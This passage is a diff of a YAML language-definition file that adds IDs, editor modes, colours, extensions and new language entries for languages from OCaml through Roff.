+  - ".mli"
+  - ".mll"
+  - ".mly"
   interpreters:
   - ocaml
   - ocamlrun
   - ocamlscript
   tm_scope: source.ocaml
-
+  language_id: 255
+Oberon:
+  type: programming
+  extensions:
+  - ".ob2"
+  tm_scope: source.modula2
+  ace_mode: text
+  language_id: 677210597
 ObjDump:
   type: data
   extensions:
-  - .objdump
+  - ".objdump"
   tm_scope: objdump.x86asm
   ace_mode: assembly_x86
-
+  language_id: 256
+Object Data Instance Notation:
+  type: data
+  extensions:
+  - ".odin"
+  tm_scope: source.odin-ehr
+  ace_mode: text
+  language_id: 985227236
+ObjectScript:
+  type: programming
+  extensions:
+  - ".cls"
+  language_id: 202735509
+  tm_scope: source.objectscript
+  color: "#424893"
+  ace_mode: text
 Objective-C:
   type: programming
   tm_scope: source.objc
@@ -2579,10 +4934,12 @@ Objective-C:
   - objc
   - objectivec
   extensions:
-  - .m
-  - .h
+  - ".m"
+  - ".h"
   ace_mode: objectivec
-
+  codemirror_mode: clike
+  codemirror_mime_type: text/x-objectivec
+  language_id: 257
 Objective-C++:
   type: programming
   tm_scope: source.objc++
@@ -2592,9 +4949,11 @@ Objective-C++:
   - objc++
   - objectivec++
   extensions:
-  - .mm
+  - ".mm"
   ace_mode: objectivec
-
+  codemirror_mode: clike
+  codemirror_mime_type: text/x-objectivec
+  language_id: 258
 Objective-J:
   type: programming
   color: "#ff0c5a"
@@ -2603,54 +4962,103 @@ Objective-J:
   - objectivej
   - objj
   extensions:
-  - .j
-  - .sj
+  - ".j"
+  - ".sj"
   tm_scope: source.js.objj
   ace_mode: text
-
+  language_id: 259
+Odin:
+  type: programming
+  color: "#60AFFE"
+  aliases:
+  - odinlang
+  - odin-lang
+  extensions:
+  - ".odin"
+  tm_scope: source.odin
+  ace_mode: text
+  language_id: 889244082
 Omgrofl:
   type: programming
   extensions:
-  - .omgrofl
+  - ".omgrofl"
   color: "#cabbff"
   tm_scope: none
   ace_mode: text
-
+  language_id: 260
 Opa:
   type: programming
   extensions:
-  - .opa
+  - ".opa"
+  tm_scope: source.opa
   ace_mode: text
-
+  language_id: 261
 Opal:
   type: programming
   color: "#f7ede0"
   extensions:
-  - .opal
+  - ".opal"
   tm_scope: source.opal
   ace_mode: text
-
+  language_id: 262
+Open Policy Agent:
+  type: programming
+  color: "#7d9199"
+  ace_mode: text
+  extensions:
+  - ".rego"
+  language_id: 840483232
+  tm_scope: source.rego
+OpenAPI Specification v2:
+  aliases:
+  - oasv2
+  type: data
+  color: "#85ea2d"
+  tm_scope: none
+  ace_mode: text
+  language_id: 848295328
+OpenAPI Specification v3:
+  aliases:
+  - oasv3
+  type: data
+  color: "#85ea2d"
+  tm_scope: none
+  ace_mode: text
+  language_id: 557959099
 OpenCL:
   type: programming
+  color: "#ed2e2d"
   group: C
   extensions:
-  - .cl
-  - .opencl
+  - ".cl"
+  - ".opencl"
   tm_scope: source.c
   ace_mode: c_cpp
-
+  codemirror_mode: clike
+  codemirror_mime_type: text/x-csrc
+  language_id: 263
 OpenEdge ABL:
   type: programming
+  color: "#5ce600"
   aliases:
   - progress
   - openedge
   - abl
   extensions:
-  - .p
-  - .cls
+  - ".p"
+  - ".cls"
+  - ".w"
   tm_scope: source.abl
   ace_mode: text
-
+  language_id: 264
+OpenQASM:
+  type: programming
+  extensions:
+  - ".qasm"
+  color: "#AA70FF"
+  tm_scope: source.qasm
+  ace_mode: text
+  language_id: 153739399
 OpenRC runscript:
   type: programming
   group: Shell
@@ -2660,148 +5068,234 @@ OpenRC runscript:
   - openrc-run
   tm_scope: source.shell
   ace_mode: sh
-
+  codemirror_mode: shell
+  codemirror_mime_type: text/x-sh
+  language_id: 265
 OpenSCAD:
   type: programming
+  color: "#e5cd45"
   extensions:
-  - .scad
-  tm_scope: none
+  - ".scad"
+  tm_scope: source.scad
   ace_mode: scad
-
+  language_id: 266
+OpenStep Property List:
+  type: data
+  extensions:
+  - ".plist"
+  - ".glyphs"
+  tm_scope: source.plist
+  ace_mode: text
+  language_id: 598917541
+OpenType Feature File:
+  type: data
+  aliases:
+  - AFDKO
+  extensions:
+  - ".fea"
+  tm_scope: source.opentype
+  ace_mode: text
+  language_id: 374317347
+Option List:
+  type: data
+  color: "#476732"
+  aliases:
+  - opts
+  - ackrc
+  filenames:
+  - ".ackrc"
+  - ".rspec"
+  - ".yardopts"
+  - ackrc
+  - mocha.opts
+  tm_scope: source.opts
+  ace_mode: sh
+  codemirror_mode: shell
+  codemirror_mime_type: text/x-sh
+  language_id: 723589315
 Org:
   type: prose
+  color: "#77aa99"
   wrap: true
   extensions:
-  - .org
+  - ".org"
   tm_scope: none
   ace_mode: text
-
+  language_id: 267
 Ox:
   type: programming
   extensions:
-  - .ox
-  - .oxh
-  - .oxo
+  - ".ox"
+  - ".oxh"
+  - ".oxo"
   tm_scope: source.ox
   ace_mode: text
-
+  language_id: 268
 Oxygene:
   type: programming
   color: "#cdd0e3"
   extensions:
-  - .oxygene
+  - ".oxygene"
   tm_scope: none
   ace_mode: text
-
+  language_id: 269
 Oz:
   type: programming
   color: "#fab738"
   extensions:
-  - .oz
+  - ".oz"
   tm_scope: source.oz
   ace_mode: text
-
-PAWN:
+  codemirror_mode: oz
+  codemirror_mime_type: text/x-oz
+  language_id: 270
+P4:
   type: programming
-  color: "#dbb284"
+  color: "#7055b5"
   extensions:
-  - .pwn
-  - .inc
-  tm_scope: source.pawn
+  - ".p4"
+  tm_scope: source.p4
+  ace_mode: text
+  language_id: 348895984
+PDDL:
+  type: programming
+  color: "#0d00ff"
+  extensions:
+  - ".pddl"
+  tm_scope: source.pddl
   ace_mode: text
-
+  language_id: 736235603
+PEG.js:
+  type: programming
+  color: "#234d6b"
+  extensions:
+  - ".pegjs"
+  - ".peggy"
+  tm_scope: source.peggy
+  ace_mode: javascript
+  codemirror_mode: javascript
+  codemirror_mime_type: text/javascript
+  language_id: 81442128
 PHP:
   type: programming
   tm_scope: text.html.php
   ace_mode: php
+  codemirror_mode: php
+  codemirror_mime_type: application/x-httpd-php
   color: "#4F5D95"
   extensions:
-  - .php
-  - .aw
-  - .ctp
-  - .fcgi
-  - .inc
-  - .php3
-  - .php4
-  - .php5
-  - .phps
-  - .phpt
+  - ".php"
+  - ".aw"
+  - ".ctp"
+  - ".fcgi"
+  - ".inc"
+  - ".php3"
+  - ".php4"
+  - ".php5"
+  - ".phps"
+  - ".phpt"
   filenames:
+  - ".php"
+  - ".php_cs"
+  - ".php_cs.dist"
   - Phakefile
   interpreters:
   - php
   aliases:
   - inc
-
-#Oracle
+  language_id: 272
 PLSQL:
   type: programming
   ace_mode: sql
+  codemirror_mode: sql
+  codemirror_mime_type: text/x-plsql
   tm_scope: none
   color: "#dad8d8"
   extensions:
-  - .pls
-  - .pck
-  - .pkb
-  - .pks
-  - .plb
-  - .plsql
-  - .sql
-
-#Postgres
+  - ".pls"
+  - ".bdy"
+  - ".ddl"
+  - ".fnc"
+  - ".pck"
+  - ".pkb"
+  - ".pks"
+  - ".plb"
+  - ".plsql"
+  - ".prc"
+  - ".spc"
+  - ".sql"
+  - ".tpb"
+  - ".tps"
+  - ".trg"
+  - ".vw"
+  language_id: 273
 PLpgSQL:
   type: programming
+  color: "#336790"
   ace_mode: pgsql
+  codemirror_mode: sql
+  codemirror_mime_type: text/x-sql
   tm_scope: source.sql
   extensions:
-  - .sql
-
+  - ".pgsql"
+  - ".sql"
+  language_id: 274
 POV-Ray SDL:
   type: programming
+  color: "#6bac65"
   aliases:
   - pov-ray
   - povray
   extensions:
-  - .pov
-  - .inc
+  - ".pov"
+  - ".inc"
+  tm_scope: source.pov-ray sdl
+  ace_mode: text
+  language_id: 275
+Pact:
+  type: programming
+  color: "#F7A8B8"
   ace_mode: text
-
+  tm_scope: source.pact
+  extensions:
+  - ".pact"
+  language_id: 756774415
 Pan:
   type: programming
-  color: '#cc0000'
+  color: "#cc0000"
   extensions:
-  - .pan
-  tm_scope: none
+  - ".pan"
+  tm_scope: source.pan
   ace_mode: text
-
+  language_id: 276
 Papyrus:
   type: programming
   color: "#6600cc"
   extensions:
-  - .psc
+  - ".psc"
   tm_scope: source.papyrus.skyrim
   ace_mode: text
-
+  language_id: 277
 Parrot:
   type: programming
   color: "#f3ca0a"
   extensions:
-  - .parrot # Dummy extension
+  - ".parrot"
   tm_scope: none
   ace_mode: text
-
+  language_id: 278
 Parrot Assembly:
   group: Parrot
   type: programming
   aliases:
   - pasm
   extensions:
-  - .pasm
+  - ".pasm"
   interpreters:
   - parrot
   tm_scope: none
   ace_mode: text
-
+  language_id: 279
 Parrot Internal Representation:
   group: Parrot
   tm_scope: source.parrot.pir
@@ -2809,483 +5303,1032 @@ Parrot Internal Representation:
   aliases:
   - pir
   extensions:
-  - .pir
+  - ".pir"
   interpreters:
   - parrot
   ace_mode: text
-
+  language_id: 280
 Pascal:
   type: programming
   color: "#E3F171"
+  aliases:
+  - delphi
+  - objectpascal
   extensions:
-  - .pas
-  - .dfm
-  - .dpr
-  - .inc
-  - .lpr
-  - .pascal
-  - .pp
+  - ".pas"
+  - ".dfm"
+  - ".dpr"
+  - ".inc"
+  - ".lpr"
+  - ".pascal"
+  - ".pp"
   interpreters:
   - instantfpc
+  tm_scope: source.pascal
   ace_mode: pascal
-
+  codemirror_mode: pascal
+  codemirror_mime_type: text/x-pascal
+  language_id: 281
+Pawn:
+  type: programming
+  color: "#dbb284"
+  extensions:
+  - ".pwn"
+  - ".inc"
+  - ".sma"
+  tm_scope: source.pawn
+  ace_mode: text
+  language_id: 271
+Pep8:
+  type: programming
+  color: "#C76F5B"
+  extensions:
+  - ".pep"
+  ace_mode: text
+  tm_scope: source.pep8
+  language_id: 840372442
 Perl:
   type: programming
   tm_scope: source.perl
   ace_mode: perl
+  codemirror_mode: perl
+  codemirror_mime_type: text/x-perl
   color: "#0298c3"
   extensions:
-  - .pl
-  - .al
-  - .cgi
-  - .fcgi
-  - .perl
-  - .ph
-  - .plx
-  - .pm
-  - .pod
-  - .psgi
-  - .t
-  interpreters:
-  - perl
-
-Perl6:
-  type: programming
-  color: "#0000fb"
-  extensions:
-  - .6pl
-  - .6pm
-  - .nqp
-  - .p6
-  - .p6l
-  - .p6m
-  - .pl
-  - .pl6
-  - .pm
-  - .pm6
-  - .t
+  - ".pl"
+  - ".al"
+  - ".cgi"
+  - ".fcgi"
+  - ".perl"
+  - ".ph"
+  - ".plx"
+  - ".pm"
+  - ".psgi"
+  - ".t"
   filenames:
+  - ".latexmkrc"
+  - Makefile.PL
   - Rexfile
+  - ack
+  - cpanfile
+  - latexmkrc
   interpreters:
-  - perl6
-  tm_scope: source.perl6fe
-  ace_mode: perl
-
+  - cperl
+  - perl
+  aliases:
+  - cperl
+  language_id: 282
+Pic:
+  type: markup
+  group: Roff
+  tm_scope: source.pic
+  extensions:
+  - ".pic"
+  - ".chem"
+  aliases:
+  - pikchr
+  ace_mode: text
+  codemirror_mode: troff
+  codemirror_mime_type: text/troff
+  language_id: 425
 Pickle:
   type: data
   extensions:
-  - .pkl
+  - ".pkl"
   tm_scope: none
   ace_mode: text
-
+  language_id: 284
 PicoLisp:
   type: programming
+  color: "#6067af"
   extensions:
-  - .l
+  - ".l"
   interpreters:
   - picolisp
   - pil
   tm_scope: source.lisp
   ace_mode: lisp
-
+  language_id: 285
 PigLatin:
   type: programming
   color: "#fcd7de"
   extensions:
-  - .pig
+  - ".pig"
   tm_scope: source.pig_latin
   ace_mode: text
-
+  language_id: 286
 Pike:
   type: programming
   color: "#005390"
   extensions:
-  - .pike
-  - .pmod
+  - ".pike"
+  - ".pmod"
   interpreters:
   - pike
+  tm_scope: source.pike
+  ace_mode: text
+  language_id: 287
+Pip Requirements:
+  type: data
+  color: "#FFD343"
+  filenames:
+  - requirements-dev.txt
+  - requirements.txt
+  ace_mode: text
+  tm_scope: source.pip-requirements
+  language_id: 684385621
+Pkl:
+  type: programming
+  color: "#6b9543"
+  extensions:
+  - ".pkl"
+  interpreters:
+  - pkl
+  tm_scope: source.pkl
+  ace_mode: text
+  language_id: 288822799
+PlantUML:
+  type: data
+  color: "#fbbd16"
+  extensions:
+  - ".puml"
+  - ".iuml"
+  - ".plantuml"
+  tm_scope: source.wsd
   ace_mode: text
-
+  language_id: 833504686
 Pod:
   type: prose
   ace_mode: perl
+  codemirror_mode: perl
+  codemirror_mime_type: text/x-perl
   wrap: true
   extensions:
-  - .pod
+  - ".pod"
+  interpreters:
+  - perl
   tm_scope: none
-
+  language_id: 288
+Pod 6:
+  type: prose
+  ace_mode: perl
+  tm_scope: source.raku
+  wrap: true
+  extensions:
+  - ".pod"
+  - ".pod6"
+  interpreters:
+  - perl6
+  language_id: 155357471
 PogoScript:
   type: programming
   color: "#d80074"
   extensions:
-  - .pogo
+  - ".pogo"
   tm_scope: source.pogoscript
   ace_mode: text
-
+  language_id: 289
+Polar:
+  type: programming
+  color: "#ae81ff"
+  extensions:
+  - ".polar"
+  tm_scope: source.polar
+  ace_mode: text
+  language_id: 839112914
 Pony:
   type: programming
   extensions:
-  - .pony
+  - ".pony"
   tm_scope: source.pony
   ace_mode: text
-
+  language_id: 290
+Portugol:
+  type: programming
+  color: "#f8bd00"
+  extensions:
+  - ".por"
+  tm_scope: source.portugol
+  ace_mode: text
+  language_id: 832391833
+PostCSS:
+  type: markup
+  color: "#dc3a0c"
+  tm_scope: source.postcss
+  group: CSS
+  extensions:
+  - ".pcss"
+  - ".postcss"
+  ace_mode: text
+  language_id: 262764437
 PostScript:
   type: markup
+  color: "#da291c"
   extensions:
-  - .ps
-  - .eps
+  - ".ps"
+  - ".eps"
+  - ".epsi"
+  - ".pfa"
   tm_scope: source.postscript
   aliases:
   - postscr
   ace_mode: text
-
+  language_id: 291
 PowerBuilder:
   type: programming
   color: "#8f0f8d"
   extensions:
-  - .pbt
-  - .sra
-  - .sru
-  - .srw
-  tm_scope: none
+  - ".pbt"
+  - ".sra"
+  - ".sru"
+  - ".srw"
+  tm_scope: source.powerbuilder
   ace_mode: text
-
+  language_id: 292
 PowerShell:
   type: programming
+  color: "#012456"
+  tm_scope: source.powershell
   ace_mode: powershell
+  codemirror_mode: powershell
+  codemirror_mime_type: application/x-powershell
   aliases:
   - posh
+  - pwsh
+  extensions:
+  - ".ps1"
+  - ".psd1"
+  - ".psm1"
+  interpreters:
+  - pwsh
+  language_id: 293
+Praat:
+  type: programming
+  color: "#c8506d"
+  tm_scope: source.praat
+  ace_mode: praat
+  extensions:
+  - ".praat"
+  language_id: 106029007
+Prisma:
+  type: data
+  color: "#0c344b"
   extensions:
-  - .ps1
-  - .psd1
-  - .psm1
-
+  - ".prisma"
+  tm_scope: source.prisma
+  ace_mode: text
+  language_id: 499933428
 Processing:
   type: programming
-  color: "#0096D8"
+  color: "#0096D8"
+  extensions:
+  - ".pde"
+  tm_scope: source.processing
+  ace_mode: text
+  language_id: 294
+Procfile:
+  type: programming
+  color: "#3B2F63"
+  filenames:
+  - Procfile
+  tm_scope: source.procfile
+  ace_mode: batchfile
+  language_id: 305313959
+Proguard:
+  type: data
   extensions:
-  - .pde
+  - ".pro"
+  tm_scope: none
   ace_mode: text
-
+  language_id: 716513858
 Prolog:
   type: programming
   color: "#74283c"
   extensions:
-  - .pl
-  - .pro
-  - .prolog
-  - .yap
+  - ".pl"
+  - ".plt"
+  - ".pro"
+  - ".prolog"
+  - ".yap"
   interpreters:
   - swipl
   - yap
   tm_scope: source.prolog
   ace_mode: prolog
-
+  language_id: 295
+Promela:
+  type: programming
+  color: "#de0000"
+  tm_scope: source.promela
+  ace_mode: text
+  extensions:
+  - ".pml"
+  language_id: 441858312
 Propeller Spin:
   type: programming
   color: "#7fa2a7"
   extensions:
-  - .spin
+  - ".spin"
   tm_scope: source.spin
   ace_mode: text
-
+  language_id: 296
 Protocol Buffer:
-  type: markup
+  type: data
   aliases:
+  - proto
   - protobuf
   - Protocol Buffers
   extensions:
-  - .proto
-  tm_scope: source.protobuf
+  - ".proto"
+  tm_scope: source.proto
   ace_mode: protobuf
-
+  codemirror_mode: protobuf
+  codemirror_mime_type: text/x-protobuf
+  language_id: 297
+Protocol Buffer Text Format:
+  type: data
+  aliases:
+  - text proto
+  - protobuf text format
+  extensions:
+  - ".textproto"
+  - ".pbt"
+  - ".pbtxt"
+  tm_scope: source.textproto
+  ace_mode: text
+  language_id: 436568854
 Public Key:
   type: data
   extensions:
-  - .asc
-  - .pub
+  - ".asc"
+  - ".pub"
   tm_scope: none
   ace_mode: text
-
+  codemirror_mode: asciiarmor
+  codemirror_mime_type: application/pgp
+  language_id: 298
+Pug:
+  type: markup
+  color: "#a86454"
+  extensions:
+  - ".jade"
+  - ".pug"
+  tm_scope: text.jade
+  ace_mode: jade
+  codemirror_mode: pug
+  codemirror_mime_type: text/x-pug
+  language_id: 179
 Puppet:
   type: programming
   color: "#302B6D"
   extensions:
-  - .pp
+  - ".pp"
   filenames:
   - Modulefile
   ace_mode: text
+  codemirror_mode: puppet
+  codemirror_mime_type: text/x-puppet
   tm_scope: source.puppet
-
+  language_id: 299
 Pure Data:
-  type: programming
-  color: "#91de79"
+  type: data
   extensions:
-  - .pd
+  - ".pd"
   tm_scope: none
   ace_mode: text
-
+  language_id: 300
 PureBasic:
   type: programming
   color: "#5a6986"
   extensions:
-  - .pb
-  - .pbi
+  - ".pb"
+  - ".pbi"
   tm_scope: none
   ace_mode: text
-
+  language_id: 301
 PureScript:
   type: programming
   color: "#1D222D"
   extensions:
-  - .purs
+  - ".purs"
   tm_scope: source.purescript
   ace_mode: haskell
-
+  codemirror_mode: haskell
+  codemirror_mime_type: text/x-haskell
+  language_id: 302
+Pyret:
+  type: programming
+  color: "#ee1e10"
+  extensions:
+  - ".arr"
+  ace_mode: python
+  tm_scope: source.arr
+  language_id: 252961827
 Python:
   type: programming
+  tm_scope: source.python
   ace_mode: python
+  codemirror_mode: python
+  codemirror_mime_type: text/x-python
   color: "#3572A5"
   extensions:
-  - .py
-  - .bzl
-  - .cgi
-  - .fcgi
-  - .gyp
-  - .lmi
-  - .pyde
-  - .pyp
-  - .pyt
-  - .pyw
-  - .rpy
-  - .tac
-  - .wsgi
-  - .xpy
+  - ".py"
+  - ".cgi"
+  - ".fcgi"
+  - ".gyp"
+  - ".gypi"
+  - ".lmi"
+  - ".py3"
+  - ".pyde"
+  - ".pyi"
+  - ".pyp"
+  - ".pyt"
+  - ".pyw"
+  - ".rpy"
+  - ".spec"
+  - ".tac"
+  - ".wsgi"
+  - ".xpy"
   filenames:
-  - BUCK
-  - BUILD
+  - ".gclient"
+  - DEPS
   - SConscript
   - SConstruct
-  - Snakefile
   - wscript
   interpreters:
   - python
   - python2
   - python3
+  - py
+  - pypy
+  - pypy3
   aliases:
+  - python3
   - rusthon
-
+  language_id: 303
+Python console:
+  type: programming
+  color: "#3572A5"
+  group: Python
+  aliases:
+  - pycon
+  tm_scope: text.python.console
+  ace_mode: text
+  language_id: 428
 Python traceback:
   type: data
+  color: "#3572A5"
   group: Python
-  searchable: false
   extensions:
-  - .pytb
+  - ".pytb"
   tm_scope: text.python.traceback
   ace_mode: text
-
+  language_id: 304
+Q#:
+  type: programming
+  extensions:
+  - ".qs"
+  aliases:
+  - qsharp
+  color: "#fed659"
+  ace_mode: text
+  tm_scope: source.qsharp
+  language_id: 697448245
 QML:
   type: programming
   color: "#44a51c"
   extensions:
-  - .qml
-  - .qbs
+  - ".qml"
+  - ".qbs"
   tm_scope: source.qml
   ace_mode: text
-
+  language_id: 305
 QMake:
   type: programming
   extensions:
-  - .pro
-  - .pri
+  - ".pro"
+  - ".pri"
   interpreters:
   - qmake
+  tm_scope: source.qmake
+  ace_mode: text
+  language_id: 306
+Qt Script:
+  type: programming
+  ace_mode: javascript
+  codemirror_mode: javascript
+  codemirror_mime_type: text/javascript
+  extensions:
+  - ".qs"
+  filenames:
+  - installscript.qs
+  - toolchain_installscript.qs
+  color: "#00b841"
+  tm_scope: source.js
+  language_id: 558193693
+Quake:
+  type: programming
+  filenames:
+  - m3makefile
+  - m3overrides
+  color: "#882233"
   ace_mode: text
-
+  tm_scope: source.quake
+  language_id: 375265331
 R:
   type: programming
   color: "#198CE7"
   aliases:
-  - R
   - Rscript
   - splus
   extensions:
-  - .r
-  - .rd
-  - .rsx
+  - ".r"
+  - ".rd"
+  - ".rsx"
   filenames:
-  - .Rprofile
+  - ".Rprofile"
+  - expr-dist
   interpreters:
   - Rscript
+  tm_scope: source.r
   ace_mode: r
-
+  codemirror_mode: r
+  codemirror_mime_type: text/x-rsrc
+  language_id: 307
 RAML:
   type: markup
   ace_mode: yaml
+  codemirror_mode: yaml
+  codemirror_mime_type: text/x-yaml
   tm_scope: source.yaml
   color: "#77d9fb"
   extensions:
-    - .raml
-
+  - ".raml"
+  language_id: 308
+RBS:
+  type: data
+  ace_mode: ruby
+  codemirror_mode: ruby
+  codemirror_mime_type: text/x-ruby
+  extensions:
+  - ".rbs"
+  color: "#701516"
+  tm_scope: source.rbs
+  group: Ruby
+  language_id: 899227493
 RDoc:
   type: prose
+  color: "#701516"
   ace_mode: rdoc
   wrap: true
   extensions:
-  - .rdoc
+  - ".rdoc"
   tm_scope: text.rdoc
-
+  language_id: 309
 REALbasic:
   type: programming
   extensions:
-  - .rbbas
-  - .rbfrm
-  - .rbmnu
-  - .rbres
-  - .rbtbar
-  - .rbuistate
+  - ".rbbas"
+  - ".rbfrm"
+  - ".rbmnu"
+  - ".rbres"
+  - ".rbtbar"
+  - ".rbuistate"
   tm_scope: source.vbnet
   ace_mode: text
-
+  language_id: 310
 REXX:
   type: programming
+  color: "#d90e09"
   aliases:
   - arexx
   extensions:
-  - .rexx
-  - .pprx
-  - .rex
-  tm_scope: none
+  - ".rexx"
+  - ".pprx"
+  - ".rex"
+  interpreters:
+  - regina
+  - rexx
+  tm_scope: source.rexx
   ace_mode: text
-
-RHTML:
-  type: markup
-  group: HTML
-  extensions:
-  - .rhtml
-  tm_scope: text.html.erb
-  aliases:
-  - html+ruby
-  ace_mode: rhtml
-
+  language_id: 311
 RMarkdown:
   type: prose
+  color: "#198ce7"
   wrap: true
   ace_mode: markdown
+  codemirror_mode: gfm
+  codemirror_mime_type: text/x-gfm
+  extensions:
+  - ".qmd"
+  - ".rmd"
+  tm_scope: text.md
+  language_id: 313
+RON:
+  type: data
+  color: "#a62c00"
+  extensions:
+  - ".ron"
+  ace_mode: rust
+  tm_scope: source.ron
+  language_id: 587855233
+RPC:
+  type: programming
+  aliases:
+  - rpcgen
+  - oncrpc
+  - xdr
+  ace_mode: c_cpp
+  extensions:
+  - ".x"
+  tm_scope: source.c
+  language_id: 1031374237
+RPGLE:
+  type: programming
+  ace_mode: text
+  color: "#2BDE21"
+  aliases:
+  - ile rpg
+  - sqlrpgle
+  extensions:
+  - ".rpgle"
+  - ".sqlrpgle"
+  tm_scope: source.rpgle
+  language_id: 609977990
+RPM Spec:
+  type: data
+  tm_scope: source.rpm-spec
   extensions:
-  - .rmd
-  tm_scope: source.gfm
-
+  - ".spec"
+  aliases:
+  - specfile
+  ace_mode: text
+  codemirror_mode: rpm
+  codemirror_mime_type: text/x-rpm-spec
+  language_id: 314
 RUNOFF:
   type: markup
   color: "#665a4e"
   extensions:
-  - .rnh
-  - .rno
+  - ".rnh"
+  - ".rno"
+  wrap: true
   tm_scope: text.runoff
   ace_mode: text
-
+  language_id: 315
 Racket:
   type: programming
-  color: "#22228f"
+  color: "#3c5caa"
   extensions:
-  - .rkt
-  - .rktd
-  - .rktl
-  - .scrbl
+  - ".rkt"
+  - ".rktd"
+  - ".rktl"
+  - ".scrbl"
   interpreters:
   - racket
   tm_scope: source.racket
   ace_mode: lisp
-
-Ragel in Ruby Host:
+  language_id: 316
+Ragel:
   type: programming
   color: "#9d5200"
   extensions:
-  - .rl
+  - ".rl"
   aliases:
   - ragel-rb
   - ragel-ruby
   tm_scope: none
   ace_mode: text
-
+  language_id: 317
+Raku:
+  type: programming
+  color: "#0000fb"
+  extensions:
+  - ".6pl"
+  - ".6pm"
+  - ".nqp"
+  - ".p6"
+  - ".p6l"
+  - ".p6m"
+  - ".pl"
+  - ".pl6"
+  - ".pm"
+  - ".pm6"
+  - ".raku"
+  - ".rakumod"
+  - ".t"
+  interpreters:
+  - perl6
+  - raku
+  - rakudo
+  aliases:
+  - perl6
+  - perl-6
+  tm_scope: source.raku
+  ace_mode: perl
+  codemirror_mode: perl
+  codemirror_mime_type: text/x-perl
+  language_id: 283
+Rascal:
+  type: programming
+  color: "#fffaa0"
+  extensions:
+  - ".rsc"
+  tm_scope: source.rascal
+  ace_mode: text
+  language_id: 173616037
 Raw token data:
   type: data
-  search_term: raw
   aliases:
   - raw
   extensions:
-  - .raw
+  - ".raw"
   tm_scope: none
   ace_mode: text
-
+  language_id: 318
+ReScript:
+  type: programming
+  color: "#ed5051"
+  ace_mode: rust
+  codemirror_mode: rust
+  codemirror_mime_type: text/x-rustsrc
+  extensions:
+  - ".res"
+  interpreters:
+  - ocaml
+  tm_scope: source.rescript
+  language_id: 501875647
+Readline Config:
+  type: data
+  group: INI
+  aliases:
+  - inputrc
+  - readline
+  filenames:
+  - ".inputrc"
+  - inputrc
+  tm_scope: source.inputrc
+  ace_mode: text
+  language_id: 538732839
+Reason:
+  type: programming
+  color: "#ff5847"
+  ace_mode: rust
+  codemirror_mode: rust
+  codemirror_mime_type: text/x-rustsrc
+  extensions:
+  - ".re"
+  - ".rei"
+  tm_scope: source.reason
+  language_id: 869538413
+ReasonLIGO:
+  type: programming
+  color: "#ff5847"
+  ace_mode: rust
+  codemirror_mode: rust
+  codemirror_mime_type: text/x-rustsrc
+  group: LigoLANG
+  extensions:
+  - ".religo"
+  tm_scope: source.religo
+  language_id: 319002153
 Rebol:
   type: programming
   color: "#358a5b"
   extensions:
-  - .reb
-  - .r
-  - .r2
-  - .r3
-  - .rebol
+  - ".reb"
+  - ".r"
+  - ".r2"
+  - ".r3"
+  - ".rebol"
   ace_mode: text
   tm_scope: source.rebol
-
+  language_id: 319
+Record Jar:
+  type: data
+  filenames:
+  - language-subtag-registry.txt
+  tm_scope: source.record-jar
+  codemirror_mode: properties
+  codemirror_mime_type: text/x-properties
+  ace_mode: text
+  color: "#0673ba"
+  language_id: 865765202
 Red:
   type: programming
-  color: "#ee0000"
+  color: "#f50000"
   extensions:
-  - .red
-  - .reds
+  - ".red"
+  - ".reds"
   aliases:
   - red/system
   tm_scope: source.red
   ace_mode: text
-
+  language_id: 320
 Redcode:
   type: programming
   extensions:
-  - .cw
+  - ".cw"
   tm_scope: none
   ace_mode: text
-
+  language_id: 321
+Redirect Rules:
+  type: data
+  aliases:
+  - redirects
+  filenames:
+  - _redirects
+  tm_scope: source.redirects
+  ace_mode: text
+  language_id: 1020148948
+Regular Expression:
+  type: data
+  color: "#009a00"
+  extensions:
+  - ".regexp"
+  - ".regex"
+  aliases:
+  - regexp
+  - regex
+  ace_mode: text
+  tm_scope: source.regexp
+  language_id: 363378884
 Ren'Py:
   type: programming
   aliases:
   - renpy
   color: "#ff7f7f"
   extensions:
-  - .rpy
+  - ".rpy"
   tm_scope: source.renpy
   ace_mode: python
-
+  language_id: 322
 RenderScript:
   type: programming
   extensions:
-  - .rs
-  - .rsh
+  - ".rs"
+  - ".rsh"
   tm_scope: none
   ace_mode: text
-
+  language_id: 323
+Rez:
+  type: programming
+  extensions:
+  - ".r"
+  tm_scope: source.rez
+  ace_mode: text
+  color: "#FFDAB3"
+  language_id: 498022874
+Rich Text Format:
+  type: markup
+  extensions:
+  - ".rtf"
+  tm_scope: text.rtf
+  ace_mode: text
+  language_id: 51601661
+Ring:
+  type: programming
+  color: "#2D54CB"
+  extensions:
+  - ".ring"
+  tm_scope: source.ring
+  ace_mode: text
+  language_id: 431
+Riot:
+  type: markup
+  color: "#A71E49"
+  ace_mode: html
+  extensions:
+  - ".riot"
+  tm_scope: text.html.riot
+  language_id: 878396783
 RobotFramework:
   type: programming
+  color: "#00c0b5"
   extensions:
-  - .robot
-  # - .txt
+  - ".robot"
+  - ".resource"
   tm_scope: text.robot
   ace_mode: text
-
+  language_id: 324
+Roc:
+  type: programming
+  color: "#7c38f5"
+  extensions:
+  - ".roc"
+  tm_scope: source.roc
+  ace_mode: text
+  language_id: 440182480
+Roff:
+  type: markup
+  color: "#ecdebe"
+  extensions:
+  - ".roff"
+  - ".1"
+  - ".1in"
+  - ".1m"
+  - ".1x"
+  - ".2"
+  - ".3"
+  - ".3in"
+  - ".3m"
+  - ".3p"
+  - ".3pm"
+  - ".3qt"
+  - ".3x"
+  - ".4"
+  - ".5"
+  - ".6"
+  - ".7"
+  - ".8"
+  - ".9"
+  - ".l"
+  - ".man"
+  - ".mdoc"
+  - ".me"
+  - ".ms"
+  - ".n"
+  - ".nr"
+  - ".rno"
+  - ".tmac"
+  filenames:
+  - eqnrc
+  - mmn
+  - mmt
+  - troffrc
+  - troffrc-end
+  tm_scope: text.roff
+  aliases:
+  - groff
+  - man
+  - manpage
+  - man page
+  - man-page
+  - mdoc
+  - nroff
+  - troff
+  wrap: true
+  ace_mode: text
+  codemirror_mode: troff
+  codemirror_mime_type: text/troff
+  language_id: 141
+Roff Manpage:
+  type: markup
+  color: "#ecdebe"
+  group: Roff
+  extensions:
+  - ".1"
+  - ".1in"
+  - ".1m"
+  - ".1x"
+  - ".2"
+  - ".3"
+  - ".3in"
+  - ".3m"
+  - ".3p"
+  - ".3pm"
+  - ".3qt"
+  - ".3x"
+  - ".4"
+  - ".5"
+  - ".6"
+  - ".7"
+  - ".8"
+  - ".9"
+  - ".man"
+  - ".mdoc"
+  wrap: true
+  tm_scope: text.roff
+  ace_mode: text
+  codemirror_mode: troff
+  codemirror_mime_type: text/troff
+  language_id: 612669833
 Rouge:
